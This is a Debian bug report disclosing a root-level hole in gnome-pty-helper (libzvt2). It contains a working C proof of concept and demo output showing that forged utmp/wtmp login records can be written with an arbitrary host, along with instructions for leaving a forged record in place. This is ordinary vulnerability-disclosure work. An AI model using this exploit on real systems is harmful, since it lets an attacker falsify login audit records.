Package: libzvt2 Version: 1.4.2-19 Severity: critical File: /usr/sbin/gnome-pty-helper Justification: root security hole
gnome-pty-helper can be made to write utmp/wtmp records with arbitrary DISPLAY (host) settings. I am not sure if it can be tricked into erasing existing records. Demo output, code below. Cheers, Paul Szabo [EMAIL PROTECTED] http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia OUTPUT: [EMAIL PROTECTED]:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep psz; sleep 6; who [1] 31444 Writing utmp (who) record for DISPLAY=xyz Running who | grep xyz psz pts/2 Sep 20 08:40 (xyz) utmp (who) record will be cleaned up when we exit. To leave it behind, kill gnome-pty-helper: kill 31446 Sleeping for 5 secs... psz pts/2 Sep 20 08:40 (xyz) psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0) USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T [EMAIL PROTECTED] -n [EMAIL PROTECTED] -sb -sl 10000 -ls psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00 gnome-pty-helper-exploit xyz psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00 gnome-pty-helper psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux [1]+ Done gnome-pty-helper-exploit xyz psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0) CODE: /* Must be compiled against (within) gnome-libs-1.4.2/zvt because it uses *.h files from there. Code "stolen" from subshell.c . */ #include <sys/types.h> #include "subshell-includes.h" #define ZVT_TERM_DO_UTMP_LOG 1 #define ZVT_TERM_DO_WTMP_LOG 2 #define ZVT_TERM_DO_LASTLOG 4 /* Pid of the helper SUID process */ static pid_t helper_pid; /* The socketpair used for the protocol */ int helper_socket_protocol [2]; /* The parallel socketpair used to transfer file descriptors */ int helper_socket_fdpassing [2]; #include <sys/socket.h> #include <sys/uio.h> static struct cmsghdr *cmptr; #define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int) static int receive_fd (int helper_fd) { struct iovec iov [1]; struct msghdr msg; char buf [32]; iov [0].iov_base = buf; iov [0].iov_len = sizeof (buf); msg.msg_iov = iov; msg.msg_iovlen = 1; msg.msg_name = NULL; msg.msg_namelen = 0; if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL) return -1; msg.msg_control = (caddr_t) cmptr; msg.msg_controllen = CONTROLLEN; if (recvmsg (helper_fd, &msg, 0) <= 0) return -1; return *(int *) CMSG_DATA (cmptr); } static int s_pipe (int fd [2]) { return socketpair (AF_UNIX, SOCK_STREAM, 0, fd); } static void * get_ptys (int *master, int *slave, int update_wutmp) { GnomePtyOps op; int result, n; void *tag; if (helper_pid == -1) return NULL; if (helper_pid == 0){ if (s_pipe (helper_socket_protocol) == -1) return NULL; if (s_pipe (helper_socket_fdpassing) == -1){ close (helper_socket_protocol [0]); close (helper_socket_protocol [1]); return NULL; } helper_pid = fork (); if (helper_pid == -1){ close (helper_socket_protocol [0]); close (helper_socket_protocol [1]); close (helper_socket_fdpassing [0]); close (helper_socket_fdpassing [1]); return NULL; } if (helper_pid == 0){ close (0); close (1); dup2 (helper_socket_protocol [1], 0); dup2 (helper_socket_fdpassing [1], 1); /* Close aliases */ close (helper_socket_protocol [0]); close (helper_socket_protocol [1]); close (helper_socket_fdpassing [0]); close (helper_socket_fdpassing [1]); execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL); exit (1); } else { close (helper_socket_fdpassing [1]); close (helper_socket_protocol [1]); /* * Set the close-on-exec flag for the other * descriptors, these should never propagate * (otherwise gnome-pty-heler wont notice when * this process is killed). */ fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC); fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC); } } op = GNOME_PTY_OPEN_NO_DB_UPDATE; if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){ if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG)) op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP; else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) op = GNOME_PTY_OPEN_PTY_UWTMP; else if (update_wutmp & ZVT_TERM_DO_LASTLOG) op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP; else op = GNOME_PTY_OPEN_PTY_UTMP; } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) { if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG)) op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP; else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) op = GNOME_PTY_OPEN_PTY_WTMP; } else if (update_wutmp & ZVT_TERM_DO_LASTLOG) op = GNOME_PTY_OPEN_PTY_LASTLOG; if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0) return NULL; n = read (helper_socket_protocol [0], &result, sizeof (result)); if (n == -1 || n != sizeof (result)){ helper_pid = 0; return NULL; } if (result == 0) return NULL; n = read (helper_socket_protocol [0], &tag, sizeof (tag)); if (n == -1 || n != sizeof (tag)){ helper_pid = 0; return NULL; } *master = receive_fd (helper_socket_fdpassing [0]); *slave = receive_fd (helper_socket_fdpassing [0]); return tag; } int main (int argc, char* argv[]) { int slave_pty, master_pty; void* mytag; int log = ZVT_TERM_DO_UTMP_LOG; char buf[1000]; printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]); setenv("DISPLAY",argv[1],1); if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL) return; sprintf(buf,"who | grep %s",argv[1]); printf("Running %s\n",buf); system(buf); printf("utmp (who) record will be cleaned up when we exit.\n"); printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid); printf("Sleeping for 5 secs...\n"); sleep (5); } -- System Information: Debian Release: 3.1 Architecture: i386 (i686) Kernel: Linux 2.6.8-spm0.5 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages libzvt2 depends on: ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk ( ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an ii libglib1.2 1.2.10-9 The GLib library of C routines ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo ii libx11-6 4.3.0.dfsg.1-14 X Window System protocol client li ii xlibs 4.3.0.dfsg.1-14 X Keyboard Extension (XKB) configu ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]